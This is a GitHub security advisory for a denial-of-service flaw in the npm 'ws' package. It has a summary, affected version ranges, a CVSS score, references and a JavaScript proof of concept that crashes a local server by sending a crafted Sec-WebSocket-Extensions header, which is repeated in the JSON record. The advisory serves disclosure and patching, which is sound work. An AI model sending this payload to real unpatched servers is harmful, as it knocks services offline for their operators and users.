GHSA-5V72-XG48-5RPM

Vulnerability from github – Published: 2019-06-04 19:37 – Updated: 2021-08-04 21:29
VLAI?
Summary
Denial of Service in ws
Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.6"
            },
            {
              "fixed": "1.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "3.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-04T19:37:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst net = require(\u0027net\u0027);\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = \u0027constructor\u0027;  // or \u0027,;constructor\u0027\n\n  const request = [\n    \u0027GET / HTTP/1.1\u0027,\n    \u0027Connection: Upgrade\u0027,\n    \u0027Sec-WebSocket-Key: test\u0027,\n    \u0027Sec-WebSocket-Version: 8\u0027,\n    `Sec-WebSocket-Extensions: ${payload}`,\n    \u0027Upgrade: websocket\u0027,\n    \u0027\\r\\n\u0027\n  ].join(\u0027\\r\\n\u0027);\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.",
  "id": "GHSA-5v72-xg48-5rpm",
  "modified": "2021-08-04T21:29:05Z",
  "published": "2019-06-04T19:37:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:ws:20171108"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/550"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/550/versions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in ws"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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